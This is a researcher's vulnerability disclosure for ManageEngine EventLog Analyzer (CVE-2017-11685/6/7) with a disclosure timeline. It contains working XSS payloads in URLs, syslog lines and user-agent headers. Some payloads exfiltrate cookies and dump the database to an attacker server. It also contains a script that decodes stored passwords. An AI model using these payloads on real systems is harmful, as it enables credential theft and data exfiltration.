Disclosure Summary

ManageEngine Event Log Analyzer (ELA) is an IT compliance and Log Management Software for SIEM. INIT_6 discovered a persistent cross-site scripting (XSS) vulnerability, Reflected cross-site scripting (XSS) vulnerability, and passwords stored near-clear text in cookies. The vendor and CERT have been notified of these issues. The version tested was EventLog Analyzer 11.4, which was the most recent version at the time of initial disclosure. As of today, the current version offered by ManageEngine is EventLog Analyzer 11.5 which is still vulnerable to these attacks.

Multiple Reflective XSS Vulnerabilities (CVE-2017-11685)

First, I will dive into the Reflective XSS. Reflected cross-site scripting occurs when an attacker injects browser executable code within a single HTTP response. The injected attack is not stored within the application itself; it is non-persistent and only impacts users who open a maliciously crafted link or third-party web page. The attack string is included as part of the crafted URI or HTTP parameters, improperly processed by the application, and returned to the victim.

After installing ManageEngine ELA this exploits was quite obvious. Pretty much any screen that has a search, a crafted URL can trigger a Reflected XSS. I stopped documenting after finding the first one. Mostly because the browsers built-in XSS protection was blocking it.

The following example shows setting fName to equal %3Cscript%3Ealert('p0wned');%3C/script%3E when viewed will execute the javascript rendering an alert box within the authenticated users web browser.

http://192.168.2.200:8400/event/appcd.do?baseUrl=appcd.do&formatId=15&table=15&fName=%3Cscript%3Ealert('p0wned');%3C/script%3E&RBBNAME=AppBasicDrillDown_LSR&appId=3&aName=TSA&severity=error&SACountSet=1

Reflective_XSS

Multiple Persistent XSS Vulnerabilities (CVE-2017-11687)

I remember reading a blog, where someone had injected php code into a log file that was readable. This has been something that I have always wanted to pull off. I thought since I discovered the Reflective XSS so fast I bet other issues exist.

ManageEngine ELA has a few ways of inputting data.

  • Authenticated users via web interface.
  • Resources sending event logs.

Phishing for syslog XSS.

Jan  8 12:17:01 FBI CRON[408]: pam_unix(cron:session): session opened for user root by (uid=0)
Jan  8 12:17:01 FBI CRON[408]: pam_unix(cron:session): session closed for user root
Jan  8 12:17:01 FBI CRON[408]: pam_unix(cron:session): </label><script>alert('in Payload');</script><label> session opened for user root by (uid=0)
Jan  8 12:17:01 FBI <script>alert(123);</script>[408]: pam_unix(cron:session): session closed for user root
Jan  8 12:17:01 </label><script>alert(123);</script><label>FBI CRON[408]: pam_unix(cron:session): session opened for user root by (uid=0)

Screenshots of two of the three working. The bottom attack wasn't being extracted because it was considered an invalid log entry.

Alert_on_Search_In_Payload
Alert_on_Search

While investigating how the XSS was working, I noticed the actual script code doesn't show on the page (second image). Which lead me to the conclusion the code was being executed while being retrieved from the database. The code doesn't actually get injected into the page. This compounds the issue as it makes it harder to detect.

Alert_on_Search_In_Payload_not_showing_WTF
Alert_on_Search_In_Payload_not_showing_Oh_there_it_isnt

This attack vector is powerful and could cause a lot of damage. However, it isn't very useful as you need to have control of a resource reporting into the ManageEngine ELA. Next section will show to to accomplish this remotely.

Remote Persistent XSS Vulnerabilities

This vulnerability allows a malicious actor to inject persistent XSS containing JavaScript and HTML code in event logs. When this data is viewed within the web interface it will execute within the context of the authenticated user. This can allow a malicious actor to perform attacks which can be used to steal cookie data, and control the product.

Knowing how the vulnerability works. I wrote some JavaScript and html to steal cookie data with out alerting the user to these actions. If a web server is sending logs to ManageEngine ELA. It is possible to craft a malicious HTTP GET request injecting the code into the user-agent header.

192.168.2.205 - - [21/Jul/2017:11:02:13 -0600] "GET /badrequest HTTP/1.1" 404 561 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 <script>location.href='http://192.168.2.200/cookie.php?test='+escape(document.cookie);</script>"

Video demo of the attack in progress. On the left is the ManageEngine ELA Dashboard with the administrator account searching events. On the right, Is a SSH session into the Attacker's server tailing the log file. After the administrator views the page you will see the GET request sent to the attacker showing the cookie document.

Remotely Dumping Database via XSS vulnerabilities

Using the remote persistent XSS vulnerability. It possible to craft malicious XSS to use the built-in web-based database query tool. This is accomplished by using a double POST request as shown here:

192.168.2.205 - - [04/May/2017:01:02:13 -0600] "GET /badrequest HTTP/1.1" 404 561 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36 <script>var xhr = new XMLHttpRequest();xhr.open('POST', 'http://192.168.2.205:8400/event/runQuery.do', true);xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr.onload = function () {console.log(this.responseText);var xhr2 = new XMLHttpRequest();xhr2.open('POST', 'http://192.168.2.200/cookie.php', true);xhr2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');xhr2.onload = function () {console.log('sent to attacker', '*')};xhr2.send(this.responseText);};xhr.send('execute=true&DatabaseType=postgres&query=select+tablename+from+pg_tables+where+schemaname%3D%27public%27+order+by+tablename');</script>"

It first creates a request to the built-in web-based database query tool. Sets the request header. Then sends the request and gets the results and is stored in 'this.responseText'. After the initial request it creates a second request 'xhr.onload'. This new request is being sent to the attackers server. Sets the request header. Then sends the data. The console.log items can be removed it was added for debugging purposes.

Below is the formated attack code:

<script>
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://192.168.2.205:8400/event/runQuery.do', true);
    xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
    xhr.onload = function () {
            console.log(this.responseText);
            var xhr2 = new XMLHttpRequest();
            xhr2.open('POST', 'http://192.168.2.200/cookie.php', true);
            xhr2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
            xhr2.onload = function () {
                    console.log('sent to attacker', '*')
                    };
            xhr2.send(this.responseText);
            };
    xhr.send('execute=true&DatabaseType=postgres&query=select+tablename+from+pg_tables+where+schemaname%3D%27public%27+order+by+tablename');
</script>

Video demo showing the database being dumped to a remote location. On the left, is the ManageEngine ELA dashboard with the administrator account searching events. On the right, Is a SSH session into the Attacker's server tailing the log file. After the administrator views the page you will see the POST request sent to the attacker showing all the available tables.

Using this attack method, it is possible to dump all logs from any resource reporting to ManageEngine ELA. This could allow you to collect session information on web servers for session hijacking, map internal assets, obtain credentials, anything you could use a SIEM for you can use here.

Decoding the Password Stored in the Cookie (CVE-2017-11686)

When a user of ManageEngine ELA checks "Keep me signed in" on the login page. It will encode the users password and store it in the cookie information as shown below. If the Active Directory integration is configured, this will disclose domain credentials.

tooltipDiv=block;
username=admin;
password=7477868287;
domainName=EventLog Authentication;
singlesignon=true;
domains=EventLog Authentication;
JSESSIONID=75E885E6C249A19DBB6CBBF42EDB5169;
JSESSIONIDSSO=63B14E10312545335A47C42E2798848D;
ELABuildNumber=11031;
graphTypes=%7B%22correlationList%22%3A%22Bar%22%2C%22myReport%22%3A%22Horizontal%22%2C%22correlationReport%22%3A%22Bar%22%2C%22sessionActivity%22%3A%22Bar%22%2C%22fimReport%22%3A%22Area%22%2C%22ruleColor%22%3A%22%239dbd2c%22%2C%22reportColor%22%3A%22%239dbd2c%22%2C%22sessionColor%22%3A%22%239dbd2c%22%2C%22fimColor%22%3A%22%239dbd2c%22%2C%22myReportColor%22%3A%22%239dbd2c%22%7D;
panelState=expanded;
sidebar=210;
Window_size=1447;
calselection=custom

Looking through the javascript code of the application, I found two blocks of code. First is used to 'encrypt' the password. Second is to 'decrypt' the password. They use the words encrypt and decrypt. However, this is actually just encoding as no keys are used to encrypt the data. In addition, regardless of the complexity of obfuscation used, they provided the decode function. It's not needed to understand how the obfuscation works to 'decrypt' the password.

function encryptPassword(textPassword) {
 var num_out = "";
 var str_in = escape(textPassword);
 for(i = 0; i < str_in.length; i++)  {
   num_out += str_in.charCodeAt(i) - 23;
}
    return num_out;
}

function decryptPassword(encPassword) {
 var str_out = "";
 var num_out = encPassword;
 for(i = 0; i < num_out.length; i += 2) {
   num_in = parseInt(num_out.substr(i,[2])) + 23;
   num_in = unescape('%' + num_in.toString(16));
   str_out += num_in;
}
    var textPassword = unescape(str_out);
    return textPassword ;
}

After modifying the decryptPassword function, setting the encPassword manually. This function allows you to execute the javascript in Chrome console to show the clear text password.

var str_out = "";
var num_out = "7477868287";
for(i = 0; i < num_out.length; i += 2) {
    num_in = parseInt(num_out.substr(i,[2])) + 23;
    num_in = unescape('%' + num_in.toString(16));
    str_out += num_in;
}
var textPassword = unescape(str_out);
console.log('clear Text Password is: ');
console.log(textPassword);

Video demo showing the results of the modified decryptPassword function using the password set in the cookie.

Conclusion

Using the combination of attacks presented here, it is possible to fully infiltrate an organization that is using ManageEngine EventLog Analyzer. Not only can you use these attacks to gain information, it is possible to delete logs to cover up tracks of other malicious actions.

With ManageEngine providing a complete list of all their customers, which many are credit unions and education I believe increases the risk of these vulnerabilities.

Time Line of Responsible Disclosure

  • Sun, Jan 01, 2017: Issues discovered by INIT_6
  • Mon, Jan 09, 2017: Initial contact to vendor zoho Corp. (Directed my query to ManageEngine)
  • Tues, Jan 10, 2017: Initial contact to ManageEngine.
  • Wed, Jan 11, 2017: ManageEngine acknowledged Vulnerability.
  • Wed, Jan 18, 2017: ManageEngine responded to my query on bug bounty and disclose time frame.

EDIT

As of ManageEngine 11.6, it appears the clear text password vulnerability has been resolved. In their change log it shows "Vulnerabilities in 'Keep me signed in' option in the login page has been fixed using dynamic key based encryption." It also appears that the other vulnerabilities have been addressed as well. However, they didn't list them in the change log. Surprise Surprise.

They also didn't give me credit what I think is pretty messed up. Oh well.